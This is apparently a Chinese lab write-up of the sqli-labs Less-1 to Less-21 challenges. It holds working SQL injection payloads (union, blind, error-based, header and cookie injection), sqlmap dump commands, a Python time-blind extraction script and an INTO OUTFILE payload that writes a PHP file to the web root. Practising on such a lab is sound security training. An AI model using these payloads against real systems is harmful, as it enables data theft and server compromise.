sqli-labs靶场安装以及刷题记录-docker

sqli-labs靶场安装以及刷题记录-docker

  • sqli-labs靶场安装-docker
  • sqli-labs靶场刷题
    • less-1 单引号
    • less-2 数字型
    • less-3 单引号+括号
    • less-4 双引号+括号
    • less-5 单引号+布尔盲注
    • less-6 双引号+布尔盲注
    • less-7 单引号加括号、输出到文件
    • less-8 单引号+布尔盲注
    • less-9 单引号+时间盲注
    • less-10 双引号+时间盲注
    • Less-11 POST方法+单引号
    • Less-12 POST方法+双引号和括号
    • Less-13 POST方法+单引号和括号+布尔盲注
    • Less-14 POST方法+双引号+布尔盲注
    • Less-15 POST方法+时间盲注
    • Less-16 POST方法+时间盲注+双引号和括号
    • Less-17 报错注入
    • Less-18 UA注入+报错注入
    • Less-19 Referer注入
    • Less-20 Cookie注入
    • Less-21 Cookie注入+base64编码

sqli-labs靶场安装-docker

  1. 拉取xss-labs靶场

    docker pull c0ny1/sqli-labs:0.1
    
  2. 启动xss-labs靶场

    docker run --name sqlilabs -d -p 8081:80 c0ny1/sqli-labs:0.1
    
  3. 访问

    ip:8081
    

    在这里插入图片描述
    4. 首次开启靶场先点击Setup/reset Database for labs创建数据

sqli-labs靶场刷题

在这里插入图片描述

less-1 单引号

在这里插入图片描述
要求输入ID参数,在URL后面拼接

?id=1

在这里插入图片描述

尝试闭合语句,构造

?id=1' //有报错
?id=1" //正常回显

在这里插入图片描述
推断参数是被单引号包围的

?id=1' #//错误回显
?id=1' -- //错误回显
?id=1' --+//正常回显

判断返回数据数

?id=1' order by 4 --+ //在输入4时报错,所以返回数据数为3。Unknown column '4' in 'order clause'

判断回显位

?id=1' union select 1,2,3 --+//显示的id=1的查询结果
?id=1' union select 1,2,3 limit 1,1--+

在这里插入图片描述
查数据库名

?id=1' union select 1,database(),version() limit 1,1--+//security,5.5.47-0ubuntu0.14.04.1
?id=1' union select 1,group_concat(schema_name) from information_schema.schemata,1 limit 1,1--+//报错,login name返回值设置了限制?
?id=1' union select 1,1,group_concat(schema_name) from information_schema.schemata limit 1,1--+

在这里插入图片描述
查表名

?id=1' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 1,1--+

在这里插入图片描述
查列名

?id=1' union select 1,1,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='X8H7POW1CY' limit 1,1--+

在这里插入图片描述

查数据

?id=1' union select 1,1,group_concat(secret_1A0H) from challenges.X8H7POW1CY limit 1,1--+

在这里插入图片描述

less-2 数字型

在这里插入图片描述

?id=1//正常回显
?id=1 and 1=2//无回显,数字型注入
?id=1 and 1=2 --+//无回显
?id=1 and 1=1 --+//正常回显

payload

?id=1 union select 1,2,3 limit 1,1--+

sqlmap跑一下

python sqlmap.py -u "http://ip:8081/Less-2/?id=1"

在这里插入图片描述

python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --dbs --batch

在这里插入图片描述

python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --tables -D challenges --batch

在这里插入图片描述

python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --columns -T BTLPG8W39R -D challenges --batch

在这里插入图片描述

python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --dump -T BTLPG8W39R -D challenges --batch

在这里插入图片描述

less-3 单引号+括号

在这里插入图片描述

?id=1
?id=1'//有报错

在这里插入图片描述
观察报错信息构造

?id=1') --+//正常回显id=1的查询数据
?id=1')  union select 1,2,3 limit 1,1--+ //payload

可以使用less-1的方式手动查询或者sqlmap

less-4 双引号+括号

在这里插入图片描述

?id=1'//正常回显id=1的查询数据
?id=1"//有报错

"
观察报错,入参是被双引号加括号包围的,构造

?id=1") union select 1,2,3 limit 1,1 --+ //payload

less-5 单引号+布尔盲注

在这里插入图片描述

?id=1'//有报错

在这里插入图片描述
观察报错,入参是被单引号包围的

?id=1' --+//正常回显id=1的查询页面you are in........

查数据,页面没有明确的回显,只能逐个字符去查询然后判断结果是否正确(页面是否回显you are in…)

?id=1'--+//正常回显id=1的查询页面you are in........
?id=1' order by 3--+//you are in........
//这里已经没有必要去查回显位数了

参考WP
查数据库数量

?id=1' and (select count(*) from information_schema.schemata) = 5  --+

查每个数据库名称

?id=1' and (select substring(schema_name, 1,1) from information_schema.schemata limit 1,1) = 'c' --+
?id=1' and (select substring(schema_name, 2,1) from information_schema.schemata limit 1,1) = 'h' --+
?id=1' and (select substring(schema_name, 3,1) from information_schema.schemata limit 1,1) = 'a' --+
?id=1' and (select substring(schema_name, 4,1) from information_schema.schemata limit 1,1) = 'l' --+
?id=1' and (select substring(schema_name, 5,1) from information_schema.schemata limit 1,1) = 'l' --+
?id=1' and (select substring(schema_name, 6,1) from information_schema.schemata limit 1,1) = 'e' --+
?id=1' and (select substring(schema_name, 7,1) from information_schema.schemata limit 1,1) = 'n' --+
?id=1' and (select substring(schema_name, 8,1) from information_schema.schemata limit 1,1) = 'g' --+
?id=1' and (select substring(schema_name, 9,1) from information_schema.schemata limit 1,1) = 'e' --+
?id=1' and (select substring(schema_name, 10,1) from information_schema.schemata limit 1,1) = 's' --+
第二个(limit 1,1 代表从第二个数据查后面一个)数据库名称:challenges
以此类推

还有一种方法,不过只能查当前数据库名称

?id=1' and left(database(),1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
?id=1' and substr(database(),3,1)='c'--+
?id=1' and substr(database(),4,1)='u'--+
?id=1' and substr(database(),5,1)='r'--+
?id=1' and substr(database(),6,1)='i'--+
?id=1' and substr(database(),7,1)='t'--+
?id=1' and substr(database(),8,1)='y'--+
//security

之后查表名、列名等

less-6 双引号+布尔盲注

在这里插入图片描述

?id=1' // you are in......
?id=1"// 报错

在这里插入图片描述
观察报错,入参被双引号包围,构造

?id=1" --+//you are in......

接下来的操作和less-5一样

less-7 单引号加括号、输出到文件

在这里插入图片描述

?id=1"//未报错
?id=1'//报错

在这里插入图片描述
说明是单引号闭合,看不到具体的报错,WP上加了两个括号(只能猜啦

?id=1'))

导出数据到网站根目录(路径可以扫描,参考传送门

?id=1'))+UNION+SELECT * from security.users INTO OUTFILE "/var/www/html/Less-7/users.txt"--+
?id=1'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "/var/www/html/Less-7/info.php"--+  

在这里插入图片描述
有报错,尝试了其他的语句还是有报错,去Docker中看了下源文件,发现已经成功写入users.txt, info.php了,蚁剑可以成功连接
在这里插入图片描述

less-8 单引号+布尔盲注

在这里插入图片描述

?id=1'//空回显

在这里插入图片描述
单引号应该是把入参语句给闭合了所以会报错,对本题而言没有正常回显就是报错,使用盲注的方法来判断

?id=1' --+//正常回显you are in......

接下来查询操作同Less-5一样(甚至payload都一样

less-9 单引号+时间盲注

在这里插入图片描述

尝试了单引号以及加括号等都是you are in......正常回显,借助sleep延时函数来判断,观察标签页左上角转的时长
在这里插入图片描述

?id=1' and sleep(5)
?id=1" and sleep(5)
?id=1' and sleep(5)  --+//只有这个sleep,刷新的较久
?id=1" and sleep(5) --+

if语句中使用sleep,查询数据库数量

?id=1' and if((select count(*) from information_schema.schemata)=5 ,sleep(5),1) --+

先判断每个数据库名字的长度

?id=1' and if((select length(schema_name) from information_schema.schemata limit 0,1) = 18 ,sleep(5),1) --+
?id=1' and if((select length(schema_name) from information_schema.schemata limit 1,1) = 10 ,sleep(5),1) --+
?id=1' and if((select length(schema_name) from information_schema.schemata limit 2,1) = 5 ,sleep(5),1) --+
......

查各个数据库名字

?id=1' and if( (select substring(schema_name, 1,1) from information_schema.schemata limit 1,1) = 'c' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 2,1) from information_schema.schemata limit 1,1) = 'h' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 3,1) from information_schema.schemata limit 1,1) = 'a' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 4,1) from information_schema.schemata limit 1,1) = 'l' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 5,1) from information_schema.schemata limit 1,1) = 'l' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 6,1) from information_schema.schemata limit 1,1) = 'e' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 7,1) from information_schema.schemata limit 1,1) = 'n' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 8,1) from information_schema.schemata limit 1,1) = 'g' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 9,1) from information_schema.schemata limit 1,1) = 'e' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 10,1) from information_schema.schemata limit 1,1) = 's' ,sleep(5),1) --+

这题在sqlmap上跑的还挺快
在这里插入图片描述

less-10 双引号+时间盲注

在这里插入图片描述
还是时间盲注

?id=1' and sleep(5)
?id=1" and sleep(5)
?id=1' and sleep(5)  --+
?id=1" and sleep(5) --+//只有这个sleep,刷新的较久

接下来的操作同Less-9

Less-11 POST方法+单引号

在这里插入图片描述
随便输一组账号和密码,有回显
在这里插入图片描述

输入Username为admin'有报错回显,可以利用,在BP上抓包修改提交值

在这里插入图片描述
修改uname为admin'--+登陆成功

uname=admin'--+&passwd=123&submit=Submit//登陆成功

在这里插入图片描述

开始查回显位数

uname=admin' order by 2--+&passwd=123&submit=Submit

uname=admin' union select 1,2 limit 1,1 --+&passwd=123&submit=Submit//payload

union联合查询数据库

uname=admin' union select 1,group_concat(schema_name) from information_schema.schemata limit 1,1--+&passwd=123&submit=Submit

接下来同之前的联合查询一样。
学一下Sqlmap怎么跑POST数据中的注入,将抓到的登录包保存到本地命名为login_POST

python sqlmap.py -r D:\bp\login_POST --batch
python sqlmap.py -r D:\bp\login_POST --dbs --batch
python sqlmap.py -r D:\bp\login_POST --tables -D challenges --batch
python sqlmap.py -r D:\bp\login_POST --dump -T BTLPG8W39R -D challenges --batch

Less-12 POST方法+双引号和括号

在这里插入图片描述
随便输账号密码同Less-11一样会报LOGIN ATTEMPT FAILED,去抓包改下看看

uname=admin'&passwd=123&submit=Submit//正常回显
uname=admin"&passwd=123&submit=Submit//报错了,通过报错信息知道入参是被双引号和括号包围的

在这里插入图片描述
可以构造payload了,同样可以联合查询,查询操作同Less-11

uname=admin") --+&passwd=123&submit=Submit

Less-13 POST方法+单引号和括号+布尔盲注

在这里插入图片描述
输入usernameamdin'有报错

uname=admin'&passwd=123&submit=Submit
uname=admin') --+ &passwd=123&submit=Submit //闭合语句

在这里插入图片描述

登陆成功没有回显位了,只有一个成功的界面
在这里插入图片描述
盲注,同Less-5一样的操作,先查数据库数量

uname=admin') and (select count(*) from information_schema.schemata) = 5 --+ &passwd=123&submit=Submit

之后操作参考Less-5,sqlmap同样能跑成功

Less-14 POST方法+双引号+布尔盲注

在这里插入图片描述

输入usernameamdin"有报错

uname=admin" &passwd=123&submit=Submit
uname=admin" --+ &passwd=123&submit=Submit //闭合语句,也是没有回显数据,只有登陆成功的界面

在这里插入图片描述
同上一关一样的操作,先查数据库数量

uname=admin" and (select count(*) from information_schema.schemata) = 5 --+ &passwd=123&submit=Submit

之后操作参考Less-5,sqlmap同样能跑成功

Less-15 POST方法+时间盲注

在这里插入图片描述

admin'
admin"
admin' --+
admin" --+

都是登陆失败的界面,没有任何报错信息,试试时间盲注,也是同样的界面以及回显

admin' and sleep(5) --+
admin" and sleep(5) --+
admin') and sleep(5) --+
admin") and sleep(5) --+

sqlmap跑出来了时间盲注,应该是姿势不对,又尝试了几次

admin' and sleep(5) #//这个有明显的时延,看了源码好像没有写屏蔽,注释符这里不太明白为什么--+ 不行
admin' and sleep(5) -- //--加空格也可以
  • -- 注释符在 MySQL 中需要后面跟一个空格才会生效,所以把 --+ 改为 -- 后,它成功注释掉了后面的 SQL 代码,从而使 SQL 注入得以绕过。

    • -- 注释符的规范要求后面必须有空格才能被解析为注释。
    • # 不需要空格,因此在某些情况下使用它更方便。

查数据库数量

admin' and if((select count(*) from information_schema.schemata) = 5,sleep(5),1)  # &passwd=123&submit=Submit

查数据库名字,用脚本做一下

import requests
import time

# 靶场的目标URL
url = "http://ip:8081/Less-15/"  # 替换为你的目标URL
payload_list = ["admin'", ""]
# 假设最大数据库数量为10,可以根据需要调整
max_db_num = 10

# 假设名称长度不会超过20
max_db_name_len = 18+1

# 延时时长
delay_time = 6

# POST 请求的基本数据(替换为具体的参数)
data = {
    "uname": "",  # SQL注入点位置
    "passwd": "123",  # 密码字段
    "submit": "Submit"
}

# headers 信息,如果需要,可以设置
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded"
}

#执行多次请求并取平均值或中位数,以减少误差。
def measure_response_time(url, data, headers, repetitions=3):
    times = []
    for _ in range(repetitions):
        start_time = time.perf_counter()
        response = requests.post(url, data=data, headers=headers)
        response_time = time.perf_counter() - start_time
        times.append(response_time)

    # 返回中位数或者平均值,减少单次延迟造成的误差
    return sum(times) / len(times)  # 也可以使用 statistics.median(times)

# 定义一个函数来测试数据库数量
def test_db_count():
    for i in range(1, max_db_num):
        # 构造SQL注入语句
        payload = f"{payload_list[0]} and if((select count(*) from information_schema.schemata) = {i},sleep({delay_time}),1) #"
        data['uname'] = payload

        # 记录请求的开始时间
        start_time = time.time()

        # 发送POST请求
        response = requests.post(url, data=data, headers=headers)

        # 计算请求的响应时间
        response_time = time.time() - start_time
        # print(response_time)

        # 如果响应时间大于 delay_time 秒,说明 sleep(delay_time) 被触发,表示猜测的数据库数量正确
        if response_time >= delay_time:
            print(f"Database count found: {i}")
            return i
        else:
            print(f"Tested {i}, no delay.")


def test_db_name_length(db_index):
    for length in range(1, max_db_name_len):
        # 构造SQL注入语句,获取第 db_index 个数据库的名称长度
        payload = f"{payload_list[0]} and if((select length(schema_name) from information_schema.schemata limit {db_index},1) = {length},sleep({delay_time}),1) #"
        data['username'] = payload
        # print(payload)

        # response_time = measure_response_time(url, data=data, headers=headers)
        # print(response_time)
        # 记录请求的开始时间
        start_time = time.perf_counter()

        # 发送POST请求
        response = requests.post(url, data=data, headers=headers)

        # 计算请求的响应时间
        response_time = time.perf_counter() - start_time

        # 如果响应时间大于 delay_time 秒,说明 sleep(delay_time) 被触发,表示猜测的长度正确
        if response_time >= delay_time:
            print(f"Database {db_index + 1} name length found: {length}")
            return length
        else:
            print(f"Tested length {length} for database {db_index + 1}, no delay.")


def test_db_name(db_index, name_length):
    db_name = ""

    for i in range(1, name_length + 1):  # 根据长度逐字符猜测
        for char in range(32, 127):  # ASCII 范围从 32 到 126(可见字符)
            # 构造SQL注入语句,获取 db_index 对应的数据库名的第 i 个字符
            payload = f"{payload_list[0]} and if(ascii(substr((select schema_name from information_schema.schemata limit {db_index},1),{i},1)) = {char},sleep({delay_time}),1) #"
            data['username'] = payload
            # print(payload)

            # 记录请求的开始时间
            start_time = time.time()

            # 发送POST请求
            response = requests.post(url, data=data, headers=headers)

            # 计算请求的响应时间
            response_time = time.time() - start_time

            # 如果响应时间大于 delay_time 秒,说明 sleep(delay_time) 被触发,表示猜测的字符正确
            if response_time >= delay_time:
                db_name += chr(char)
                print(f"Found character {chr(char)} at position {i} for database {db_index + 1}")
                break

    print(f"Database {db_index + 1} name: {db_name}")
    return db_name


if __name__ == "__main__":
    print("testing num of database")
    db_num = test_db_count()
    print("testing length of each database")
    db_lengths = []
    for db_index in range(db_num):
        length_tmp = test_db_name_length(db_index)
        db_lengths.append(length_tmp)
    print("testing name of each database")
    for db_index, name_length in enumerate(db_lengths):
        db_name = test_db_name(db_index, name_length)

Less-16 POST方法+时间盲注+双引号和括号

在这里插入图片描述

admin") and sleep(3)#

操作同Less-15

Less-17 报错注入

在这里插入图片描述
随便输一组数据
在这里插入图片描述

输入admin用户
在这里插入图片描述

感觉是POST方法和布尔盲注,没测出来,看看WP,注入点在密码框passwd,且有报错回显
在这里插入图片描述

延时和报错注入好像都可以
查数据库数量

uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),1) #&submit=Submit 

查数据库名

uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) #&submit=Submit 
uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),1) #&submit=Submit 
uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) #&submit=Submit 
.......

查每个数据库中的表名

uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1)),1) #&submit=Submit 

查每个列名

uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='BTLPG8W39R' limit 0,1)),1) #&submit=Submit 

Less-18 UA注入+报错注入

在这里插入图片描述
这关也是看了WP,通过观察源码发现可以UA报错注入
在这里插入图片描述

可利用的SQL语句是

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

这时我们就不能像常规的报错盲注一样直接上,我们得考虑一下闭合VALUES,假如我们利用的点是$uagent,那构建格式就应该是1',1,1)#,在SQL语句中相当于

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,1)#, '$IP', $uname)

这样就闭合了VALUES,所以我们在uagent上正确的payload应该是

1',1,updatexml(1,concat(0x5e,database()),1))#

Less-19 Referer注入

在这里插入图片描述

需要有一组账号密码成功登录会回显Referer(有些密码在Less-17被修改了)
在这里插入图片描述

在这里插入图片描述
源码中 HTTP_REFERER字段被拼接到数据库语句中,在BurpSuite中抓包这条记录,发送到Repeater,尝试在Referer字段进行注入

Referer: 1' and order by 4
Referer: 1',1) #//闭合语句

因为有报错回显,无回显数据内容,所以用报错盲注。
在这里插入图片描述

查数据库

Referer: 1' and updatexml(1,concat(0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a),1),1)#//显示不完整
Referer: 1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x3a),1),1)#//使用substr函数来获取剩余的内容

同理查表、列以及数据

Less-20 Cookie注入

在这里插入图片描述
登陆成功会有以下信息
在这里插入图片描述

看了源码 这关换成Cookie注入了,测试一下

Cookie: uname=admin'//有报错
Cookie: uname=admin'#//闭合了

有报错回显,可以使用联合查询

Cookie: uname=admin' order by 3#
Cookie: uname=admin' union select 1,1,databse() limit 1,1#

在这里插入图片描述

Less-21 Cookie注入+base64编码

这关也是先登录,会有Cookie,但是和上关不同的是Cookie做了Base64编码
在这里插入图片描述
测试payload

uname=admin')#//闭合语句,编码后的等号用%3D来替代
uname=YWRtaW4nKSM%3D

在这里插入图片描述

uname=admin') union select 1,1,database() limit 1,1 #
uname=YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwxLGRhdGFiYXNlKCkgbGltaXQgMSwxICM%3D

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/901860.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Ollama+Open WebUI,windows部署一个本地AI

在Ollama官网下载&#xff0c;点击DownLoad 下载完之后进行安装&#xff0c;配置环境变量&#xff0c;完成后打开CMD命令行工具测试 运行并下载模型 之后选择Open WebUI作为图形化界面 &#x1f680; Getting Started | Open WebUI 运行Docker命令 docker run -d -p 3000:80…

ArcGIS002:软件自定义设置

摘要&#xff1a;本文详细介绍安装arcgis10.2后软件自定义设置内容&#xff0c;包括工具条的启用、扩展模块的启用、如何加载项管理器、快捷键设置、样式管理器的使用以及软件常规设置。 一、工具条的启用 依次点击菜单栏【自定义】->【工具条】&#xff0c;根据工作需求勾…

07 设计模式-结构型模式-桥接模式

桥接&#xff08;Bridge&#xff09;是用于把抽象化与实现化解耦&#xff0c;使得二者可以独立变化。这种类型的设计模式属于结构型模式&#xff0c;它通过提供抽象化和实现化之间的桥接结构&#xff0c;来实现二者的解耦。 这种模式涉及到一个作为桥接的接口&#xff0c;使得…

背包九讲——二维费用背包问题

目录 二维费用背包问题 问题描述&#xff1a; 解决方法&#xff1a; 方法一&#xff1a; 代码实现&#xff1a; 方法二&#xff1a; 代码实现&#xff1a; 背包问题第五讲——二维费用背包问题 背包问题是一类经典的组合优化问题&#xff0c;通常涉及在限定容量的背包中…

gateway 整合 spring security oauth2

微服务分布式认证授权方案 在分布式授权系统中&#xff0c;授权服务要独立成一个模块做统一授权&#xff0c;无论客户端是浏览器&#xff0c;app或者第三方&#xff0c;都会在授权服务中获取权限&#xff0c;并通过网关访问资源 OAuth2的四种授权模式 授权码模式 授权服务器将授…

CentOS 7镜像下载

新版本系统镜像下载&#xff08;当前最新是CentOS 7.4版本&#xff09; CentOS官网 官网地址 http://isoredirect.centos.org/centos/7.4.1708/isos/x86_64/ http://mirror.centos.org/centos/7/isos/ 国内的华为云&#xff0c;超级快&#xff1a;https://mirrors.huaweiclou…

Linux TCP CC状态机

万字详文&#xff1a;TCP 拥塞控制详解 - 知乎bcc/tools/tcpcong.py at master iovisor/bccbcc/tools/tcpcong_example.txt at master iovisor/bcc 1.状态机 2.tcp map

认识类与对象(上)

目录 何为类&#xff0c;何为对象? 一.对于类 1.idea修改文件类名 二.对于对象 三.this关键字 1.区分成员变量和局部变量 2.引用当前对象 3.调用当前对象的其他构造方法 4.总结 四.构造方法 1.利用idea特性快速写出构造方法 五.封装 1.利用idea特性快速写出set和…

鸿蒙网络编程系列32-基于拦截器的性能监控示例

1. 拦截器简介 在Web开发中拦截器是一种非常有用的模式&#xff0c;它允许开发者在请求发送到服务器之前或响应返回给客户端之前执行一些预处理或后处理操作。这种机制特别适用于需要对所有网络请求或响应进行统一处理的情况&#xff0c;比如添加全局错误处理、请求头的修改、…

【深度学习】【OpenVINO】【C++】模型转化、环境搭建以及模型部署的详细教程

【深度学习】【OpenVINO】【C】模型转化、环境搭建以及模型部署的详细教程 提示:博主取舍了很多大佬的博文并亲测有效,分享笔记邀大家共同学习讨论 文章目录 【深度学习】【OpenVINO】【C】模型转化、环境搭建以及模型部署的详细教程前言模型转换--pytorch转onnxWindows平台搭建…

我们可以用微服务创建状态机吗?

大家好&#xff0c;我是锋哥。今天分享关于【我们可以用微服务创建状态机吗&#xff1f;】面试题&#xff1f;希望对大家有帮助&#xff1b; 我们可以用微服务创建状态机吗&#xff1f; 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 是的&#xff0c;微服务架构可…

为什么选择 Spring data hadoop

&#x1f449; 请点赞支持这款 全新设计的脚手架 &#xff0c;让 Java 再次伟大&#xff01; spring-data-hadoop hbase 常见的操作方式有以下三种&#xff1a; Native Api 原生 api 操作繁琐&#xff0c;就像用 JDBC 操作关系型数据库一样&#xff0c;类似 flush、submit、…

Windows系统启动MongoDB报错无法连接服务器

文章目录 发现问题解决办法 发现问题 1&#xff09;、先是发现执行 mongo 命令&#xff0c;启动报错&#xff1a; error: MongoNetworkError: connect ECONNREFUSED 127.0.0.1:27017&#xff1b; 2&#xff09;、再检查 MongoDB 进程 tasklist | findstr mongo 发现没有进程&a…

【最全基础知识2】机器视觉系统硬件组成之工业相机镜头篇--51camera

机器视觉系统中,工业镜头作为必备的器件之一,须和工业相机搭配。工业镜头是机器视觉系统中不可或缺的重要组成部分,其质量和性能直接影响到整个系统的成像质量和检测精度。 目录 一、基本功能和作用 二、分类 1、按成像方式分 2、按焦距分 3、按接口类型分 4、按应用…

时间序列预测(九)——门控循环单元网络(GRU)

目录 一、GRU结构 二、GRU核心思想 1、更新门&#xff08;Update Gate&#xff09;&#xff1a;决定了当前时刻隐藏状态中旧状态和新候选状态的混合比例。 2、重置门&#xff08;Reset Gate&#xff09;&#xff1a;用于控制前一时刻隐藏状态对当前候选隐藏状态的影响程度。…

STM32实现毫秒级时间同步

提起“时间同步”这个概念&#xff0c;大家可能很陌生。一时间搞不清楚是什么意思。 我理解“时间同步”可以解决多个传感器采集数据不同时的问题&#xff0c;让多个传感器同时采集数据。 打个比方。两个人走路&#xff0c;都是100毫秒走一步&#xff08;频率相同是前提&…

2024数学分析【南昌大学】

计算极限 lim ⁡ n → ∞ 2024 n ( 1 − cos ⁡ 1 n 2 ) n 3 1 + n 2 − n \mathop {\lim }\limits_{n \to \infty } \frac{{\sqrt[n]{{2024}}\left( {1 - \cos \frac{1}{{{n^2}}}} \right){n^3}}}{{\sqrt {1 + {n^2}} - n}} n→∞lim​1+n2 ​−nn2024 ​(1−cosn21​)n3​ …

XJ02、消费金融|消费金融业务模式中的主要主体

根据所持有牌照类型的不同,消费金融服务供给方主要分为商业银行、汽车金融公司、消费金融公司和小贷公司,不同类型机构定位不同、提供消费金融服务与产品类型也各不相同。此外,互联网金融平台也成为中国消费金融业务最重要的参与方之一,虽其并非持牌金融机构,但借助其流量…

React 分装webSocket

背景 AI 实时对话 需要流式数据 React Hooks 写法。新建WebSocket.tsx 放在根目录components import { useCallback, useRef, useState } from react;type MessageHandler (message: MessageEvent) > void; type ErrorHandler (event: Event) > void;export functi…

深度学习(一)基础:神经网络、训练过程与激活函数(1/10)

深度学习基础&#xff1a;神经网络、训练过程与激活函数 引言&#xff1a; 深度学习作为机器学习的一个子领域&#xff0c;近年来在人工智能的发展中扮演了举足轻重的角色。它通过模仿人脑的神经网络结构&#xff0c;使得计算机能够从数据中学习复杂的模式和特征&#xff0c;…